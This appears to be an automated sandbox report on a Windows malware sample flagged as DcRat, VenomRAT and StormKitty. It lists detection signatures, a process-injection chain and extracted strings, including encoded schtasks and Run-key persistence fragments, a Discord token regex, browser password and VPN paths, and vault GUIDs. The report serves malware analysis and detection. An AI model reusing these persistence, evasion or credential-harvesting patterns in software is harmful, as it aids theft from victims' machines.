Edit tour

Windows Analysis Report
rwvg1.exe

Overview

General Information

Sample name:	rwvg1.exe
Analysis ID:	1583434
MD5:	671a477d299131351498b10922fa09d8
SHA1:	1ea4a3836b473bc710f348fade6bb56848279649
SHA256:	2b07a75b74b701d95f6957416959df359f441e7455e933913208891f05c6c9e5
Tags:	147-45-44-131bookingexeSPAM-ITAuser-JAMESWT_MHT
Infos:

Detection

DcRat, KeyLogger, StormKitty, VenomRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected BrowserPasswordDump

Yara detected DcRat

Yara detected Keylogger Generic

Yara detected Powershell download and execute

Yara detected StormKitty Stealer

Yara detected VenomRAT

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

Compiles code for process injection (via .Net compiler)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

rwvg1.exe (PID: 7796 cmdline: "C:\Users\user\Desktop\rwvg1.exe" MD5: 671A477D299131351498B10922FA09D8)

csc.exe (PID: 7820 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 7908 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE40B.tmp" "c:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 7988 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, 404KeyLogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2d030d:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x2c7ba1:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2c36f9:$s6: VirtualBox 0x2d49dc:$s6: VirtualBox 0x2cfc73:$s8: Win32_ComputerSystem 0x2d4942:$s8: Win32_ComputerSystem 0x2cc973:$s9: Win32_Process Where ParentProcessID= 0x2cc54a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2cc5e7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2cc82a:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.3907344980.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2319d8:$a1: havecamera 0x27c802:$a2: timeout 3 > NUL 0x27fb85:$a3: START "" " 0x28009a:$a3: START "" " 0x27ff75:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x280012:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x283dd6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x27c072:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2781e6:$s6: VirtualBox 0x287d65:$s6: VirtualBox 0x283782:$s8: Win32_ComputerSystem 0x287ccb:$s8: Win32_ComputerSystem 0x2808ae:$s9: Win32_Process Where ParentProcessID= 0x2804cb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x280568:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28067d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x280765:$cnc4: POST / HTTP/1.1
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241208:$a1: havecamera 0x28c032:$a2: timeout 3 > NUL 0x28f3b5:$a3: START "" " 0x28f8ca:$a3: START "" " 0x28f7a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f842:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293606:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b8a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287a16:$s6: VirtualBox 0x297595:$s6: VirtualBox 0x292fb2:$s8: Win32_ComputerSystem 0x2974fb:$s8: Win32_ComputerSystem 0x2900de:$s9: Win32_Process Where ParentProcessID= 0x28fcfb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fead:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff95:$cnc4: POST / HTTP/1.1
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2419f8:$a1: havecamera 0x53f418:$a1: havecamera 0x28c822:$a2: timeout 3 > NUL 0x58a242:$a2: timeout 3 > NUL 0x28fba5:$a3: START "" " 0x2900ba:$a3: START "" " 0x58d5c5:$a3: START "" " 0x58dada:$a3: START "" " 0x28ff95:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d9b5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x290032:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58da52:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293df6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x591816:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28c092:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x589ab2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x288206:$s6: VirtualBox 0x297d85:$s6: VirtualBox 0x585c26:$s6: VirtualBox 0x5957a5:$s6: VirtualBox 0x2937a2:$s8: Win32_ComputerSystem 0x297ceb:$s8: Win32_ComputerSystem 0x5911c2:$s8: Win32_ComputerSystem 0x59570b:$s8: Win32_ComputerSystem 0x2908ce:$s9: Win32_Process Where ParentProcessID= 0x58e2ee:$s9: Win32_Process Where ParentProcessID= 0x2904eb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58df0b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290588:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58dfa8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x29069d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58e0bd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290785:$cnc4: POST / HTTP/1.1 0x58e1a5:$cnc4: POST / HTTP/1.1
Process Memory Space: rwvg1.exe PID: 7796	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: rwvg1.exe PID: 7796	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: rwvg1.exe PID: 7796	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: rwvg1.exe PID: 7796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rwvg1.exe PID: 7796	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: rwvg1.exe PID: 7796	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: rwvg1.exe PID: 7796	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: rwvg1.exe PID: 7796	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xcfc96:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x1e150f:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: rwvg1.exe PID: 7796	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x73a4a:$s6: VirtualBox 0x1852c3:$s6: VirtualBox 0xcf96c:$s8: Win32_ComputerSystem 0xd1b89:$s8: Win32_ComputerSystem 0x1e11e5:$s8: Win32_ComputerSystem 0x1e3402:$s8: Win32_ComputerSystem 0xce2c2:$s9: Win32_Process Where ParentProcessID= 0x1dfb3b:$s9: Win32_Process Where ParentProcessID= 0xce0d5:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1df94e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xce123:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1df99c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xce1ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1dfa26:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xce221:$cnc4: POST / HTTP/1.1 0x1dfa9a:$cnc4: POST / HTTP/1.1
Process Memory Space: RegAsm.exe PID: 7988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7988	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: RegAsm.exe PID: 7988	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7988	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7988	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: RegAsm.exe PID: 7988	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: RegAsm.exe PID: 7988	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 7988	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x114076:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: RegAsm.exe PID: 7988	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb7e2a:$s6: VirtualBox 0x10113:$s8: Win32_ComputerSystem 0x10176:$s8: Win32_ComputerSystem 0x10be1:$s8: Win32_ComputerSystem 0x10f6a:$s8: Win32_ComputerSystem 0x13fe4:$s8: Win32_ComputerSystem 0x140ba:$s8: Win32_ComputerSystem 0x14ba7:$s8: Win32_ComputerSystem 0x15137:$s8: Win32_ComputerSystem 0x1550e:$s8: Win32_ComputerSystem 0x25e7f:$s8: Win32_ComputerSystem 0x27be4:$s8: Win32_ComputerSystem 0x2d9bc:$s8: Win32_ComputerSystem 0x2d9fe:$s8: Win32_ComputerSystem 0x4f17a:$s8: Win32_ComputerSystem 0x50680:$s8: Win32_ComputerSystem 0x113d4c:$s8: Win32_ComputerSystem 0x115f69:$s8: Win32_ComputerSystem 0x13bd97:$s8: Win32_ComputerSystem 0x147bdd:$s8: Win32_ComputerSystem 0x14ca37:$s8: Win32_ComputerSystem
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.rwvg1.exe.2b25490.2.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
0.2.rwvg1.exe.2b22442.4.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x3616:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x3632:$x3: StormKitty
0.2.rwvg1.exe.2aba14e.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x302e:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x304a:$x3: StormKitty
0.2.rwvg1.exe.2abcbb4.3.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
0.2.rwvg1.exe.2b22442.4.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1816:$x2: https://github.com/LimerBoy/StormKitty 0x1832:$x3: StormKitty
0.2.rwvg1.exe.2aba14e.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x122e:$x2: https://github.com/LimerBoy/StormKitty 0x66abc:$x2: https://github.com/LimerBoy/StormKitty 0x69b0a:$x2: https://github.com/LimerBoy/StormKitty 0x124a:$x3: StormKitty 0x66ad8:$x3: StormKitty 0x69b26:$x3: StormKitty
0.2.rwvg1.exe.2abcbb4.3.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x64056:$x2: https://github.com/LimerBoy/StormKitty 0x670a4:$x2: https://github.com/LimerBoy/StormKitty 0x64072:$x3: StormKitty 0x670c0:$x3: StormKitty
5.2.RegAsm.exe.525b8a.1.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.RegAsm.exe.525b8a.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.RegAsm.exe.525b8a.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.RegAsm.exe.525b8a.1.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.RegAsm.exe.525b8a.1.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.RegAsm.exe.525b8a.1.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.RegAsm.exe.525b8a.1.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
5.2.RegAsm.exe.525b8a.1.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
5.2.RegAsm.exe.525b8a.1.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
5.2.RegAsm.exe.525b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
5.2.RegAsm.exe.525b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.RegAsm.exe.525b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.RegAsm.exe.525b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
5.2.RegAsm.exe.525b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
